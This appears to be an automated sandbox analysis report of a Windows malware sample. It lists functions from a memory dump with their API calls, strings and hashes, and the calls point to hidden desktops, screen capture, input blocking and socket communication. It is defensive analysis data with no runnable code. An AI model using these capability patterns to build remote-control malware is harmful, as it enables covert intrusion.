CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1002D6FA

Part of subcall function 1002C350: lstrcpy.KERNEL32(?), ref: 1002C3CD
Part of subcall function 1002C350: lstrcat.KERNEL32(?,1007918C), ref: 1002C3DF
Part of subcall function 1002C350: CreateDirectoryA.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3E8
Part of subcall function 1002C350: GetLastError.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3F2
Part of subcall function 1002C350: FindFirstFileA.KERNEL32(?,?,?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C411
Part of subcall function 1002C350: lstrcpy.KERNEL32(?,?), ref: 1002C455
Part of subcall function 1002C350: lstrcat.KERNEL32(?,10078558), ref: 1002C467
Part of subcall function 1002C350: lstrcat.KERNEL32(?,?), ref: 1002C47B
Part of subcall function 1002C350: lstrcpy.KERNEL32(?,?), ref: 1002C4A4
Part of subcall function 1002C350: lstrcat.KERNEL32(?,10078558), ref: 1002C4B6
Part of subcall function 1002C350: lstrcat.KERNEL32(?,?), ref: 1002C4CA

Strings

D, xrefs: 1002D68E
chrome.exe, xrefs: 1002D62B

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: lstrcat$lstrcpy$CreateDirectoryErrorFileLastwsprintf$AttributesFindFirstFolderInformationPathProcessVolumeWindows
String ID: D$chrome.exe
API String ID: 3681278241-23253965
Opcode ID: 2c03fc182a0ad5486635a3b9926effc1412543c093c58f195988cfab7cd9f53c
Instruction ID: 15f1bd375911359996dff94cee0e7117c08e48e32063d1784a0e201582aef879
Opcode Fuzzy Hash: 2c03fc182a0ad5486635a3b9926effc1412543c093c58f195988cfab7cd9f53c
Instruction Fuzzy Hash: 73611DB1D0022DAADB60EBA0DC45FDD77BCFB48304F505696B648A6081EF746B888F94

Function 100214A6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 146registrythreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 100214CD

Part of subcall function 1002E840: VerifyVersionInfoW.KERNEL32(00000023), ref: 1002E8F1

RegOpenKeyExA.ADVAPI32(80000002,10079124,00000000,00020019,?), ref: 10021552
RegGetValueA.ADVAPI32(?,10076AB6,10076AB6,00000002,?,?,00000064), ref: 10021590
RegCloseKey.ADVAPI32(?), ref: 100215AD
CreateThread.KERNEL32(00000000,00000000,Function_0002E100,?,00000000,00000000), ref: 1002167D
CloseHandle.KERNEL32(?), ref: 1002169A

Strings

d, xrefs: 10021531

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CloseCreate$EventHandleInfoOpenThreadValueVerifyVersion
String ID: d
API String ID: 2304768424-2564639436
Opcode ID: 5b38c763151371bf031fe29f1e883901f1e90fa44187d76b4507ec25094f149d
Instruction ID: 0b59b5de6b27c163732ab02d8f46c316abe42fad7e54ca7a8956f7cf9ad12c33
Opcode Fuzzy Hash: 5b38c763151371bf031fe29f1e883901f1e90fa44187d76b4507ec25094f149d
Instruction Fuzzy Hash: 6151AD71D40238AEEB21DF60DC45BEA7BB9EF04700F4040ABFA49A6192DB759E94CF51

Function 1002A050 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 83stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,00000200), ref: 1002A0A2
lstrcpy.KERNEL32(?,100796B0), ref: 1002A0B8
wsprintfA.USER32 ref: 1002A0E4
_strstr.LIBCMT ref: 1002A135
_strstr.LIBCMT ref: 1002A15B

Strings

Disable, xrefs: 1002A151
Enable, xrefs: 1002A12B

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _strstr$ComputerNamelstrcpywsprintf
String ID: Disable$Enable
API String ID: 296541848-1261744749
Opcode ID: c7b564df3675de81f6352a4d599098a566770de5f326f083f9ed0b1c30d6b728
Instruction ID: 6934e42f89e9ac809b51f93920c07a8f94280ca3bd0675ecc5715ecc0d440299
Opcode Fuzzy Hash: c7b564df3675de81f6352a4d599098a566770de5f326f083f9ed0b1c30d6b728
Instruction Fuzzy Hash: F92127B4D403096BDF10DB609C4AFDA736DEB45705F4044D6FB08AB182EFB66B548BA4

Function 1005683D Relevance: 12.2, APIs: 8, Instructions: 204COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 10056867
_free.LIBCMT ref: 10056940
_free.LIBCMT ref: 1005696D

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 64422d3bc8fe90691881c3bcb23d12018d5f50c6e53eb6454067c556ed32d16a
Instruction ID: 7c83897640e8797439872514b9e8a5476071033841cb2a5a6d6ca014e50f18cf
Opcode Fuzzy Hash: 64422d3bc8fe90691881c3bcb23d12018d5f50c6e53eb6454067c556ed32d16a
Instruction Fuzzy Hash: 22512674D04201AFEB10DFA8AC81A5D7BF8FF09350F11816EE904E7282EA71A949CF51

Function 10026080 Relevance: 12.2, APIs: 8, Instructions: 197sleepmemorysynchronizationCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,10081068), ref: 100260D6
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000), ref: 1002610C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 10026117
Sleep.KERNEL32(00000096), ref: 10026122
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?), ref: 10026150
GetSystemMetrics.USER32(00000050), ref: 1002619E
EnumDisplayMonitors.USER32(00000000,00000000,Function_00025010,00000000), ref: 100261DB

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Virtual$AllocDisplayEnumFreeMetricsMonitorsObjectSingleSleepSystemWait
String ID:
API String ID: 2383587994-0
Opcode ID: bb3e193ba24adf121f69ad59f07e5aa0dabdec732a6fd69fd5905438baae685d
Instruction ID: 6045a29f2f492542641c46b8e818c3c20a61fb97dc052a67636913add13cbe6d
Opcode Fuzzy Hash: bb3e193ba24adf121f69ad59f07e5aa0dabdec732a6fd69fd5905438baae685d
Instruction Fuzzy Hash: 2D71E135A00614EFEB12CF64CC81F5A77B5FF49350F05826AF9056B292DB71B850CBA0

Function 10025680 Relevance: 12.2, APIs: 8, Instructions: 152threadsleeplibraryCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,10081068), ref: 100256D0
LoadCursorA.USER32(00000000,?), ref: 1002572B
Sleep.KERNEL32(00000001,00000008,00000000,?), ref: 10025786
LoadLibraryA.KERNEL32(10078790), ref: 100257AA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 100257F8
CreateThread.KERNEL32(00000000,00000000,10030AC0,10026080,00000000,00000000), ref: 10025812
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1002584E
CreateThread.KERNEL32(00000000,00000000,10030AC0,10026310,00000000,00000000), ref: 10025868

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Create$Event$LoadThread$CursorLibrarySleep
String ID:
API String ID: 4260334496-0
Opcode ID: 6a72a5383d11af6366eef8e668f0eca70c1c37063ba52816f244b8df7a3461a9
Instruction ID: c59a37a0acd5baca38e55ff48be4d35e87a7e4384eddb5524ec6f63c4d2b40a0
Opcode Fuzzy Hash: 6a72a5383d11af6366eef8e668f0eca70c1c37063ba52816f244b8df7a3461a9
Instruction Fuzzy Hash: 5A618D71944358EFFB01CFA4CC85B99BBB1FF08704F214269EA09AF291DBB56984CB50

Function 10029010 Relevance: 12.1, APIs: 8, Instructions: 134filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000), ref: 1002903B
GetFileSize.KERNEL32(00000000,00000000), ref: 10029051
CloseHandle.KERNEL32(00000000), ref: 1002905E
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 10029095
ReadFile.KERNEL32(?,00000000,00002004,?,00000000), ref: 100290BB
LocalAlloc.KERNEL32(00000040,00002005), ref: 1002913F
LocalFree.KERNEL32(00000000,00000000,00002005), ref: 10029169
CloseHandle.KERNEL32(?), ref: 1002917B

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreePointerReadSize
String ID:
API String ID: 1977366500-0
Opcode ID: 06862d6e628c96e44db61c450cfa86f673cef34714ca3d458c4b5ce58c6b00be
Instruction ID: 05b18666988b2d57f3d9217cb419e8f2545e93519f6cc1a37b70974b435602e6
Opcode Fuzzy Hash: 06862d6e628c96e44db61c450cfa86f673cef34714ca3d458c4b5ce58c6b00be
Instruction Fuzzy Hash: 58417E32C007586BE722CF35DC8AFABBBA9EF96294F414365FD4567152DB30A590C250

Function 1002B6B0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 336memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400), ref: 1002B70B

Strings

error, xrefs: 1002B974

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: AllocLocal
String ID: error
API String ID: 3494564517-1574812785
Opcode ID: 0e30ff0be3cd7a99014f13caab1c895325d429850372a6cbc8d0d47899f38cad
Instruction ID: 87cf78f19df4f2e2c250e3477c2cb821f923a06f511105c26726402a03c4bf1c
Opcode Fuzzy Hash: 0e30ff0be3cd7a99014f13caab1c895325d429850372a6cbc8d0d47899f38cad
Instruction Fuzzy Hash: C1C13BB6D00628ABDB61CB60DC85FDBB7BDEF09306F0041D6E649E6141EA749BC48F64

Function 10033290 Relevance: 10.7, APIs: 7, Instructions: 157networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,00000000), ref: 10033335
recv.WS2_32(?,?,00002000,00000000), ref: 10033360
ioctlsocket.WS2_32(?,8004667E,?), ref: 1003338B
send.WS2_32(?,?,00000000,00000000), ref: 1003339E
recv.WS2_32(?,?,00002000,00000000), ref: 100333EB
ioctlsocket.WS2_32(?,8004667E,?), ref: 10033418
send.WS2_32(?,?,00000000,00000000), ref: 1003342D

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ioctlsocketrecvsend$select
String ID:
API String ID: 1327307048-0
Opcode ID: 906b029a5bb81f1d5f7c9af15fde3f840bd490723277665e90d1123524e3e764
Instruction ID: 1a011c778300417fe0c7fbce9278f550d2c3746ebfcbb5045af7473a90917cae
Opcode Fuzzy Hash: 906b029a5bb81f1d5f7c9af15fde3f840bd490723277665e90d1123524e3e764
Instruction Fuzzy Hash: 74517271D002299FE722CB248CC9BDA77FDEB54741F0281D5EA09EB251DB74AE948F90

Function 1001E090 Relevance: 9.1, APIs: 6, Instructions: 118COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1001E0D0
std::_Lockit::_Lockit.LIBCPMT ref: 1001E0F2
std::_Lockit::~_Lockit.LIBCPMT ref: 1001E112
__Getctype.LIBCPMT ref: 1001E1AB
std::_Facet_Register.LIBCPMT ref: 1001E1CA
std::_Lockit::~_Lockit.LIBCPMT ref: 1001E1E2

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 681ceeaaed8dc5f2c49d00f6d9b9152a8584b6e4d5aeae72a770ffeea55858ee
Instruction ID: 062f07d219ea14dce69a777b7693e6c9c7997e40bd95c5e1246d68e40fed0c4c
Opcode Fuzzy Hash: 681ceeaaed8dc5f2c49d00f6d9b9152a8584b6e4d5aeae72a770ffeea55858ee
Instruction Fuzzy Hash: ED418D75E00699AFD712CF54CC81A9EB7F4FB08710F15416AE849AB252DB30FE84CB91

Function 100273E0 Relevance: 9.1, APIs: 6, Instructions: 101stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(000001F4,?), ref: 10027422
QueryDosDeviceA.KERNEL32(?,?,00000064), ref: 1002748F
lstrlen.KERNEL32(?), ref: 1002749D
lstrcpy.KERNEL32(?,?), ref: 100274D2
lstrcpy.KERNEL32(?,?), ref: 100274F9
lstrcat.KERNEL32(?,?), ref: 10027509

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: lstrcpy$DeviceDriveLogicalQueryStringslstrcatlstrlen
String ID:
API String ID: 140800143-0
Opcode ID: 848fefb265b114799ff729f2bc1cb4dddf06a7e7de417f185b2ecd037655b320
Instruction ID: 39212c5b1d95f5b624ceb72d46171a3c8f4af5cb374dc271110dd4982a15aeee
Opcode Fuzzy Hash: 848fefb265b114799ff729f2bc1cb4dddf06a7e7de417f185b2ecd037655b320
Instruction Fuzzy Hash: 6531C671A0522D9FEB10DB659C84BEABBF9EF04241F4101E9E94CD3141DB359E44CB64

Function 10020650 Relevance: 9.1, APIs: 6, Instructions: 100libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(100782C8), ref: 1002066B
LoadLibraryW.KERNEL32(10077444), ref: 1002069E
GetProcAddress.KERNEL32(00000000,10077470), ref: 100206AC
LoadLibraryW.KERNEL32(100784DC), ref: 1002070B
GetProcAddress.KERNEL32(00000000,100784F8), ref: 10020717
CloseHandle.KERNEL32(?), ref: 10020731

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: LibraryLoad$AddressProc$CloseHandle
String ID:
API String ID: 3524107332-0
Opcode ID: 4e48f718020730475509d88cb472ff8b2e81a6571b290db39801417ef68355cd
Instruction ID: 1d61f272dd9ef774b40447da58156e128ff69bcde8841d39cf5c5990d459934a
Opcode Fuzzy Hash: 4e48f718020730475509d88cb472ff8b2e81a6571b290db39801417ef68355cd
Instruction Fuzzy Hash: D0318171E0021AABEB10DBF48C89FFFBBB9EB48211F114065FA05A7140DBB859448BA4

Function 10026310 Relevance: 9.1, APIs: 6, Instructions: 88windowkeyboardCOMMON

Download Yara Rule

APIs

EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 1002636D
SystemParametersInfoA.USER32(00000056,00000001,00000000,00000000), ref: 100263AB
PostMessageA.USER32(0000FFFF,00000112,0000F170,00000002), ref: 100263C2
SystemParametersInfoA.USER32(00000056,00000000,00000000,00000000), ref: 100263E2
PostMessageA.USER32(0000FFFF,00000112,0000F170,000000FF), ref: 100263F9
BlockInput.USER32(00000000), ref: 1002641E

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: InfoMessageParametersPostSystem$BlockDisplayEnumInputSettings
String ID:
API String ID: 3716559231-0
Opcode ID: 686142ef5859ede20a165432fd72ce74a68c17b5a7763130732016e976f15d9a
Instruction ID: 547d89d1b1610af92eaf4cb319994f2e5b770b0a19f73efa71270f5cc1d548f1
Opcode Fuzzy Hash: 686142ef5859ede20a165432fd72ce74a68c17b5a7763130732016e976f15d9a
Instruction Fuzzy Hash: 1531F430B44354ABF721DB64DC86F6977E2EB09B20F914164F2559B1D2CBF0AD80CB65

Function 1002F100 Relevance: 9.1, APIs: 6, Instructions: 62threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1002F230: GetWindowsDirectoryA.KERNEL32(?,00000104,1006421C), ref: 1002F265
Part of subcall function 1002F230: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1002F2A6
Part of subcall function 1002F230: wsprintfA.USER32 ref: 1002F325

OpenDesktopA.USER32(1008C550,00000000,00000001,10000000), ref: 1002F17C
CreateDesktopA.USER32(1008C550,00000000,00000000,00000000,10000000,00000000), ref: 1002F199
SetThreadDesktop.USER32(00000000), ref: 1002F1A5
CreateThread.KERNEL32(00000000,00000000,Function_0002DEE0,?,00000000,00000000), ref: 1002F1BB
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1002F1C9
CloseHandle.KERNEL32 ref: 1002F1D5

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Desktop$CreateThread$CloseDirectoryHandleInformationObjectOpenSingleVolumeWaitWindowswsprintf
String ID:
API String ID: 324691535-0
Opcode ID: 3845cce9e9fde1723da69093afbd83c06e900c504b702d66fa7cf4dd953a814b
Instruction ID: 70b794907d896dd25518a96eb5c8d1c1de0bed7810abce98404e6e0b363124b4
Opcode Fuzzy Hash: 3845cce9e9fde1723da69093afbd83c06e900c504b702d66fa7cf4dd953a814b
Instruction Fuzzy Hash: C92127B0C50A28ABFF128FA4ED8AF153AB6F785345F104127F600956A1EBB135C48F99

Function 100558E7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 10055935
_free.LIBCMT ref: 10055A81

Strings

*?, xrefs: 1005592A

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: c968066907e81d68ffe4dad4d12aa97e1709e4bd35cae7e557639fc8d0fc980d
Instruction ID: fba09f8060e945c6895979ab2c3d8ad04f5f2383c5225b3efb0427b4f81040dd
Opcode Fuzzy Hash: c968066907e81d68ffe4dad4d12aa97e1709e4bd35cae7e557639fc8d0fc980d
Instruction Fuzzy Hash: 12613E75D0021A9FDB15CFA8C8919EDFBF5EF48360B25826AE845E7300E735AE458B90

Function 1001C830 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 1001C93D

Part of subcall function 1003AD97: RaiseException.KERNEL32(?,?,10037AE9,?,?,?,?,?,?,?,?,10037AE9,?,1007D1C4,?), ref: 1003ADF7

__CxxThrowException@8.LIBVCRUNTIME ref: 1001C97C
___std_exception_copy.LIBVCRUNTIME ref: 1001C9AF

Strings

ios_base::badbit set, xrefs: 1001C947, 1001C968, 1001C993
ios_base::failbit set, xrefs: 1001C84F

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3941765731-1240500531
Opcode ID: 98a6770c7ec57db31817461d9e8867c898c0e71c43d7be13d0378881151408d0
Instruction ID: 80cc92c63628d0bdec8218dea72c12e4770374f5c5bca51ca4acf6c1d373d1d9
Opcode Fuzzy Hash: 98a6770c7ec57db31817461d9e8867c898c0e71c43d7be13d0378881151408d0
Instruction Fuzzy Hash: 0541C3B1900649AFC704CF68C845F9EB7F9EF49320F14811AF555AB641EB74EA84CBA0

Function 100220B0 Relevance: 7.7, APIs: 5, Instructions: 229sleepCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 100220E4
VirtualFree.KERNEL32(?,00000000,00008000), ref: 100220F9
wsprintfA.USER32 ref: 100221B6
Sleep.KERNEL32(0000001E), ref: 100222C0
RtlLeaveCriticalSection.NTDLL(?), ref: 10022387

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveSleepVirtualwsprintf
String ID:
API String ID: 2944957049-0
Opcode ID: 9d552aa4cfdbc2bc1ebaec5f7d7154af41a66ed788ca5a29df126f9b8e99985e
Instruction ID: cb27c8ff20e7134111ae125e99d652656509788b6cb5d05c538d50ed42136d3f
Opcode Fuzzy Hash: 9d552aa4cfdbc2bc1ebaec5f7d7154af41a66ed788ca5a29df126f9b8e99985e
Instruction Fuzzy Hash: 75919071A00619ABEB14CFA8CC84B99B3A6FF48310F514269E80DD7690DB74ED55CF84

Function 1004F826 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1004D9EC: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 1004DA1E

_free.LIBCMT ref: 1004F935
_free.LIBCMT ref: 1004F94C
_free.LIBCMT ref: 1004F96B
_free.LIBCMT ref: 1004F986
_free.LIBCMT ref: 1004F99D

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: b32ee7ae031e735a09d92d7b03cfcc94aafdd2b44e5745457985b002a63f7e45
Instruction ID: db0cc29435beae4b768ec7cc4697f70b325c16d8fb72360fd7c0a4b7f0dde7b2
Opcode Fuzzy Hash: b32ee7ae031e735a09d92d7b03cfcc94aafdd2b44e5745457985b002a63f7e45
Instruction Fuzzy Hash: 9C51AD72A00205AFD711DF69DC81BBAB7F5EF48760F21456EE849DB251E731AD01CB88

Function 100234F0 Relevance: 7.6, APIs: 5, Instructions: 143stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10081068), ref: 1002352E
lstrcpy.KERNEL32(00000000,?), ref: 1002354D
GetFileAttributesA.KERNEL32(00000000), ref: 100235DE
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 100235EC
GetLastError.KERNEL32 ref: 100235F6

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: AttributesCreateDirectoryErrorFileLastlstrcpylstrlen
String ID:
API String ID: 20055568-0
Opcode ID: dab6ccab855774077855ed387905f2eea14643219c8d08e528fc68d56d83d03d
Instruction ID: 89121dfa56694283c6479d63b2e1cd0b15255159a75d69954703029334b202f7
Opcode Fuzzy Hash: dab6ccab855774077855ed387905f2eea14643219c8d08e528fc68d56d83d03d
Instruction Fuzzy Hash: A4413DB1C046659FDB11CF5898407AEBFFAEF09690F90816AE8A593340D7755D028FE0

Function 1002110B Relevance: 7.6, APIs: 5, Instructions: 131sleepfileCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 10021132

Part of subcall function 1002A050: GetComputerNameA.KERNEL32(?,00000200), ref: 1002A0A2
Part of subcall function 1002A050: lstrcpy.KERNEL32(?,100796B0), ref: 1002A0B8
Part of subcall function 1002A050: wsprintfA.USER32 ref: 1002A0E4
Part of subcall function 1002A050: _strstr.LIBCMT ref: 1002A135

SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 10021195

Part of subcall function 10028F90: CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,10064158), ref: 10028FBF
Part of subcall function 10028F90: GetFileSize.KERNEL32(00000000,00000000), ref: 10028FCE
Part of subcall function 10028F90: CloseHandle.KERNEL32(00000000), ref: 10028FE3

Sleep.KERNEL32(00000096), ref: 100211D6
CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000), ref: 100211F3
GetFileSize.KERNEL32(00000000,00000000), ref: 1002120D

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: File$Create$Size$CloseComputerEventFolderHandleNamePathSleepSpecial_strstrlstrcpywsprintf
String ID:
API String ID: 1777496915-0
Opcode ID: 88508c75d9a78b685f84d98e61458beaf7690ba0fc2af3093b4ca17e5acc0635
Instruction ID: 4bdbab1b38ce9c0d19af704a08b366f4cb12715bb44e1c118ab8a8cc83f7fdad
Opcode Fuzzy Hash: 88508c75d9a78b685f84d98e61458beaf7690ba0fc2af3093b4ca17e5acc0635
Instruction Fuzzy Hash: DA41B274D80228AAEB20DB60DC86FC9BB75EF44710F500196F658B72D2DBB16A80CF54

Function 1002B2EB Relevance: 7.6, APIs: 5, Instructions: 117sleepthreadnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 100330C0: Sleep.KERNEL32(000003E8), ref: 10033128

Part of subcall function 10032F40: wvsprintfA.USER32(?,?,?), ref: 10032F61

inet_addr.WS2_32(?), ref: 1002B37D

Part of subcall function 100331F0: socket.WS2_32(00000002,00000001,00000000), ref: 1003320A
Part of subcall function 100331F0: htons.WS2_32(?), ref: 10033229
Part of subcall function 100331F0: connect.WS2_32(00000000,?,00000010), ref: 1003323A
Part of subcall function 100331F0: closesocket.WS2_32(00000000), ref: 1003324A

recv.WS2_32(00000000,?,00000002,00000000), ref: 1002B3BA
CreateThread.KERNEL32(00000000,00000000,10032F90,?,00000000,?), ref: 1002B406
Sleep.KERNEL32(000003E8), ref: 1002B42F
closesocket.WS2_32(00000000), ref: 1002B455

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Sleepclosesocket$CreateThreadconnecthtonsinet_addrrecvsocketwvsprintf
String ID:
API String ID: 421157994-0
Opcode ID: 9ebfc658d1857ff8fa6b3ec0dd3bd2b9cfbd26a4088693096c3a521002b87afc
Instruction ID: b3acd073d34fc2feedabeea08f4acf68b5e625be9df513abaac2d19c9da4f4d7
Opcode Fuzzy Hash: 9ebfc658d1857ff8fa6b3ec0dd3bd2b9cfbd26a4088693096c3a521002b87afc
Instruction Fuzzy Hash: 0641F074504744AFE321DF60CC85BDBB7E8EF45701F00482EFA8586292DBB4B944CBA6

Function 10028220 Relevance: 7.6, APIs: 5, Instructions: 116processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1002823B
Process32First.KERNEL32(00000000,00000128), ref: 10028255
OpenProcess.KERNEL32(00000001,00000000,?), ref: 10028367
TerminateProcess.KERNEL32(00000000,00000000), ref: 10028372
CloseHandle.KERNEL32(00000000), ref: 10028379

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Process$CloseCreateFirstHandleOpenProcess32SnapshotTerminateToolhelp32
String ID:
API String ID: 2931323676-0
Opcode ID: 2dfbfd971162c5546ededc63e6ac8cde6437efa44529e886355037815126b1a7
Instruction ID: 573a8162694a671c2fe7d68689165028d079f35879c4a6f3561fe621a96fba65
Opcode Fuzzy Hash: 2dfbfd971162c5546ededc63e6ac8cde6437efa44529e886355037815126b1a7
